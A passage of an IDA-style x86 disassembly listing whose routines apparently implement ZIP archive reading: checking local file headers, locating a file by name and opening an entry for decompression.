		push	1
		mov	eax, [ebp+var_68]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42F2E2
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F2E2:				; CODE XREF: sub_42F032+284j
					; sub_42F032+28Aj ...
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_68]
		mov	[ebp+var_4], edx


loc_42F2EB:				; CODE XREF: sub_42F032+259j
					; sub_42F032+25Fj
		cmp	[ebp+var_C], 0
		jnz	loc_42F383
		cmp	[ebp+arg_14], 0
		jz	loc_42F383
		mov	eax, [ebp+var_40]
		cmp	eax, [ebp+arg_18]
		jnb	short loc_42F30F
		mov	ecx, [ebp+var_40]
		mov	[ebp+var_6C], ecx
		jmp	short loc_42F315
; ---------------------------------------------------------------------------


loc_42F30F:				; CODE XREF: sub_42F032+2D3j
		mov	edx, [ebp+arg_18]
		mov	[ebp+var_6C], edx


loc_42F315:				; CODE XREF: sub_42F032+2DBj
		cmp	[ebp+var_4], 0
		jz	short loc_42F343
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F33C
		mov	[ebp+var_4], 0
		jmp	short loc_42F343
; ---------------------------------------------------------------------------


loc_42F33C:				; CODE XREF: sub_42F032+2FFj
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F343:				; CODE XREF: sub_42F032+2E7j
					; sub_42F032+308j
		cmp	[ebp+var_40], 0
		jbe	short loc_42F373
		cmp	[ebp+arg_18], 0
		jbe	short loc_42F373
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		push	1
		mov	edx, [ebp+var_6C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42F373
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F373:				; CODE XREF: sub_42F032+315j
					; sub_42F032+31Bj ...
		mov	ecx, [ebp+var_40]
		sub	ecx, [ebp+var_6C]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		jmp	short loc_42F38C
; ---------------------------------------------------------------------------


loc_42F383:				; CODE XREF: sub_42F032+2BDj
					; sub_42F032+2C7j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_40]
		mov	[ebp+var_4], eax


loc_42F38C:				; CODE XREF: sub_42F032+34Fj
		cmp	[ebp+var_C], 0
		jnz	short loc_42F40E
		cmp	[ebp+arg_1C], 0
		jz	short loc_42F40E
		mov	ecx, [ebp+var_3C]
		cmp	ecx, [ebp+arg_20]
		jnb	short loc_42F3B1
		mov	edx, [ebp+arg_1C]
		add	edx, [ebp+var_3C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_70], eax
		jmp	short loc_42F3B7
; ---------------------------------------------------------------------------


loc_42F3B1:				; CODE XREF: sub_42F032+36Cj
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_70], ecx


loc_42F3B7:				; CODE XREF: sub_42F032+37Dj
		cmp	[ebp+var_4], 0
		jz	short loc_42F3DE
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F3D7
		jmp	short loc_42F3DE
; ---------------------------------------------------------------------------


loc_42F3D7:				; CODE XREF: sub_42F032+3A1j
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F3DE:				; CODE XREF: sub_42F032+389j
					; sub_42F032+3A3j
		cmp	[ebp+var_3C], 0
		jbe	short loc_42F40E
		cmp	[ebp+arg_20], 0
		jbe	short loc_42F40E
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax
		push	1
		mov	ecx, [ebp+var_70]
		push	ecx
		mov	edx, [ebp+arg_1C]
		push	edx
		call	sub_42E8A0
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42F40E
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F40E:				; CODE XREF: sub_42F032+35Ej
					; sub_42F032+364j ...
		cmp	[ebp+var_C], 0
		jnz	short loc_42F427
		cmp	[ebp+arg_4], 0
		jz	short loc_42F427
		mov	ecx, 14h
		lea	esi, [ebp+var_64]
		mov	edi, [ebp+arg_4]
		rep movsd


loc_42F427:				; CODE XREF: sub_42F032+3E0j
					; sub_42F032+3E6j
		cmp	[ebp+var_C], 0
		jnz	short loc_42F43B
		cmp	[ebp+arg_8], 0
		jz	short loc_42F43B
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_42F43B:				; CODE XREF: sub_42F032+3F9j
					; sub_42F032+3FFj
		mov	eax, [ebp+var_C]


loc_42F43E:				; CODE XREF: sub_42F032+21j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42F032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F444	proc near		; CODE XREF: sub_42F59A+BBp
					; sub_4301DC+194p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F032
		add	esp, 24h
		pop	ebp
		retn
sub_42F444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F473	proc near		; CODE XREF: sub_42ED22+205p
					; sub_42F59A+8Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F486
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42F4DD
; ---------------------------------------------------------------------------


loc_42F486:				; CODE XREF: sub_42F473+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+24h]
		mov	[ecx+14h], eax
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+10h], 0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_8]
		add	edx, 78h
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 28h
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F032
		add	esp, 24h
		mov	[ebp+var_4], eax
		xor	edx, edx
		cmp	[ebp+var_4], 0
		setz	dl
		mov	eax, [ebp+var_8]
		mov	[eax+18h], edx
		mov	eax, [ebp+var_4]


loc_42F4DD:				; CODE XREF: sub_42F473+11j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F473	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F4E1	proc near		; CODE XREF: sub_42F59A+E9p
					; sub_4301DC+169p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F4F7
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F596
; ---------------------------------------------------------------------------


loc_42F4F7:				; CODE XREF: sub_42F4E1+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F510
		mov	eax, 0FFFFFF9Ch
		jmp	loc_42F596
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: sub_42F4E1+23j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		add	eax, 1
		mov	ecx, [ebp+var_8]
		cmp	eax, [ecx+4]
		jnz	short loc_42F528
		mov	eax, 0FFFFFF9Ch
		jmp	short loc_42F596
; ---------------------------------------------------------------------------


loc_42F528:				; CODE XREF: sub_42F4E1+3Ej
		mov	edx, [ebp+var_8]
		mov	eax, [edx+48h]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4Ch]
		lea	eax, [eax+edx+2Eh]
		mov	ecx, [ebp+var_8]
		add	eax, [ecx+50h]
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+14h]
		add	ecx, eax
		mov	edx, [ebp+var_8]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		add	ecx, 1
		mov	edx, [ebp+var_8]
		mov	[edx+10h], ecx
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		add	eax, 78h
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 28h
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42F032
		add	esp, 24h
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	ecx, [ebp+var_8]
		mov	[ecx+18h], eax
		mov	eax, [ebp+var_4]


loc_42F596:				; CODE XREF: sub_42F4E1+11j
					; sub_42F4E1+2Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F4E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F59A	proc near		; CODE XREF: sub_430867+25p

var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F5B3
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F6B7
; ---------------------------------------------------------------------------


loc_42F5B3:				; CODE XREF: sub_42F59A+Dj
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4318BE	; strlen
		add	esp, 4
		cmp	eax, 100h
		jb	short loc_42F5D0
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F6B7
; ---------------------------------------------------------------------------


loc_42F5D0:				; CODE XREF: sub_42F59A+2Aj
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_104]
		push	edx
		call	sub_4318B8	; strcpy
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		mov	ecx, [ebp+var_10C]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F602
		mov	eax, 0FFFFFF9Ch
		jmp	loc_42F6B7
; ---------------------------------------------------------------------------


loc_42F602:				; CODE XREF: sub_42F59A+5Cj
		mov	edx, [ebp+var_10C]
		mov	eax, [edx+10h]
		mov	[ebp+var_110], eax
		mov	ecx, [ebp+var_10C]
		mov	edx, [ecx+14h]
		mov	[ebp+var_114], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F473
		add	esp, 4
		mov	[ebp+var_108], eax


loc_42F632:				; CODE XREF: sub_42F59A+F7j
		cmp	[ebp+var_108], 0
		jnz	short loc_42F693
		push	0
		push	0
		push	0
		push	0
		push	100h
		lea	ecx, [ebp+var_218]
		push	ecx
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42F444
		add	esp, 20h
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_104]
		push	ecx
		lea	edx, [ebp+var_218]
		push	edx
		call	sub_42EB64
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F67F
		xor	eax, eax
		jmp	short loc_42F6B7
; ---------------------------------------------------------------------------


loc_42F67F:				; CODE XREF: sub_42F59A+DFj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F4E1
		add	esp, 4
		mov	[ebp+var_108], eax
		jmp	short loc_42F632
; ---------------------------------------------------------------------------


loc_42F693:				; CODE XREF: sub_42F59A+9Fj
		mov	ecx, [ebp+var_10C]
		mov	edx, [ebp+var_110]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_10C]
		mov	ecx, [ebp+var_114]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_108]


loc_42F6B7:				; CODE XREF: sub_42F59A+14j
					; sub_42F59A+31j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F59A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F6BB	proc near		; CODE XREF: sub_42F940+54p
					; sub_4301DC+1B4p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 0
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		mov	edx, [ebp+arg_0]
		add	ecx, [edx+0Ch]
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F70C
		or	eax, 0FFFFFFFFh
		jmp	loc_42F93C
; ---------------------------------------------------------------------------


loc_42F70C:				; CODE XREF: sub_42F6BB+47j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F741
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F731
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F741
; ---------------------------------------------------------------------------


loc_42F731:				; CODE XREF: sub_42F6BB+6Bj
		cmp	[ebp+var_10], 4034B50h
		jz	short loc_42F741
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F741:				; CODE XREF: sub_42F6BB+55j
					; sub_42F6BB+74j ...
		lea	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F75E
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F75E:				; CODE XREF: sub_42F6BB+9Aj
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F77B
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F77B:				; CODE XREF: sub_42F6BB+B7j
		lea	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F79A
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F7B2
; ---------------------------------------------------------------------------


loc_42F79A:				; CODE XREF: sub_42F6BB+D4j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F7B2
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx+34h]
		jz	short loc_42F7B2
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F7B2:				; CODE XREF: sub_42F6BB+DDj
					; sub_42F6BB+E3j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_42F7D1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+34h], 0
		jz	short loc_42F7D1
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+34h], 8
		jz	short loc_42F7D1
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F7D1:				; CODE XREF: sub_42F6BB+FBj
					; sub_42F6BB+104j ...
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F7EE
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F7EE:				; CODE XREF: sub_42F6BB+12Aj
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F80D
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F82F
; ---------------------------------------------------------------------------


loc_42F80D:				; CODE XREF: sub_42F6BB+147j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F82F
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		cmp	ecx, [eax+3Ch]
		jz	short loc_42F82F
		mov	edx, [ebp+var_14]
		and	edx, 8
		test	edx, edx
		jnz	short loc_42F82F
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F82F:				; CODE XREF: sub_42F6BB+150j
					; sub_42F6BB+156j ...
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F84E
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F870
; ---------------------------------------------------------------------------


loc_42F84E:				; CODE XREF: sub_42F6BB+188j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F870
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		cmp	ecx, [eax+40h]
		jz	short loc_42F870
		mov	edx, [ebp+var_14]
		and	edx, 8
		test	edx, edx
		jnz	short loc_42F870
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F870:				; CODE XREF: sub_42F6BB+191j
					; sub_42F6BB+197j ...
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42EA04
		add	esp, 8
		test	eax, eax
		jz	short loc_42F88F
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F8B1
; ---------------------------------------------------------------------------


loc_42F88F:				; CODE XREF: sub_42F6BB+1C9j
		cmp	[ebp+var_4], 0
		jnz	short loc_42F8B1
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		cmp	ecx, [eax+44h]
		jz	short loc_42F8B1
		mov	edx, [ebp+var_14]
		and	edx, 8
		test	edx, edx
		jnz	short loc_42F8B1
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F8B1:				; CODE XREF: sub_42F6BB+1D2j
					; sub_42F6BB+1D8j ...
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8D0
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42F8E8
; ---------------------------------------------------------------------------


loc_42F8D0:				; CODE XREF: sub_42F6BB+20Aj
		cmp	[ebp+var_4], 0
		jnz	short loc_42F8E8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+48h]
		jz	short loc_42F8E8
		mov	[ebp+var_4], 0FFFFFF99h


loc_42F8E8:				; CODE XREF: sub_42F6BB+213j
					; sub_42F6BB+219j ...
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		lea	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E99E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F912
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42F912:				; CODE XREF: sub_42F6BB+24Ej
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+78h]
		mov	ecx, [ebp+var_C]
		lea	edx, [eax+ecx+1Eh]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_4]


loc_42F93C:				; CODE XREF: sub_42F6BB+4Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F6BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F940	proc near		; CODE XREF: sub_430A42+DEp
					; sub_430A42+3D8p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F956
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FAFE
; ---------------------------------------------------------------------------


loc_42F956:				; CODE XREF: sub_42F940+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_42F96F
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FAFE
; ---------------------------------------------------------------------------


loc_42F96F:				; CODE XREF: sub_42F940+23j
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+7Ch], 0
		jz	short loc_42F984
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FF37
		add	esp, 4


loc_42F984:				; CODE XREF: sub_42F940+36j
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42F6BB
		add	esp, 10h
		test	eax, eax
		jz	short loc_42F9AA
		mov	eax, 0FFFFFF99h
		jmp	loc_42FAFE
; ---------------------------------------------------------------------------


loc_42F9AA:				; CODE XREF: sub_42F940+5Ej
		push	6Ch
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42F9C8
		mov	eax, 0FFFFFF98h
		jmp	loc_42FAFE
; ---------------------------------------------------------------------------


loc_42F9C8:				; CODE XREF: sub_42F940+7Cj
		push	4000h
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		mov	[eax+44h], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_10]
		mov	[edx+48h], eax
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4Ch], 0
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	short loc_42FA1C
		cmp	[ebp+var_8], 0
		jz	short loc_42FA12
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4331D4	; free
		add	esp, 4


loc_42FA12:				; CODE XREF: sub_42F940+C3j
		mov	eax, 0FFFFFF98h
		jmp	loc_42FAFE
; ---------------------------------------------------------------------------


loc_42FA1C:				; CODE XREF: sub_42F940+BDj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+40h], 0
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		cmp	dword ptr [ecx+34h], 0
		setz	dl
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+3Ch]
		mov	[eax+54h], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+50h], 0
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+34h]
		mov	[ecx+64h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	[ecx+60h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		mov	[ecx+68h], eax
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+18h], 0
		cmp	[ebp+var_14], 0
		jnz	short loc_42FABE
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+24h], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+28h], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+2Ch], 0
		mov	edx, [ebp+var_8]
		add	edx, 4
		push	edx
		call	sub_42DD45
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42FABE
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+40h], 1


loc_42FABE:				; CODE XREF: sub_42F940+13Cj
					; sub_42F940+172j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+40h]
		mov	[ecx+58h], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [edx+44h]
		mov	[ecx+5Ch], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+78h]
		mov	eax, [ebp+var_18]
		lea	ecx, [edx+eax+1Eh]
		mov	edx, [ebp+var_8]
		mov	[edx+3Ch], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[ecx+7Ch], edx
		xor	eax, eax


loc_42FAFE:				; CODE XREF: sub_42F940+11j
					; sub_42F940+2Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F940	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FB02	proc near		; CODE XREF: sub_430A42+103p
					; sub_430A42+3FCp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	esi
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42FB2D
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FB2D:				; CODE XREF: sub_42FB02+1Fj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+7Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jnz	short loc_42FB46
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FB46:				; CODE XREF: sub_42FB02+38j
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jnz	short loc_42FB58
		mov	eax, 0FFFFFF9Ch
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FB58:				; CODE XREF: sub_42FB02+4Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_42FB65
		xor	eax, eax
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FB65:				; CODE XREF: sub_42FB02+5Aj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	eax, [edx+5Ch]
		jbe	short loc_42FB8E
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+5Ch]
		mov	[ecx+14h], eax


loc_42FB8E:				; CODE XREF: sub_42FB02+7Ej
					; sub_42FB02:loc_42FDE1j
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 0
		jbe	loc_42FDE6
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+8], 0
		jnz	loc_42FC61
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+58h], 0
		jbe	loc_42FC61
		mov	[ebp+var_14], 4000h
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		cmp	edx, [ebp+var_14]
		jnb	short loc_42FBD0
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_14], ecx


loc_42FBD0:				; CODE XREF: sub_42FB02+C3j
		cmp	[ebp+var_14], 0
		jnz	short loc_42FBDD
		xor	eax, eax
		jmp	loc_42FDF4
; ---------------------------------------------------------------------------


loc_42FBDD:				; CODE XREF: sub_42FB02+D2j
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+3Ch]
		mov	ecx, [ebp+var_8]
		add	eax, [ecx+68h]
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+60h]
		push	eax
		call	sub_42E7CB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42FC07
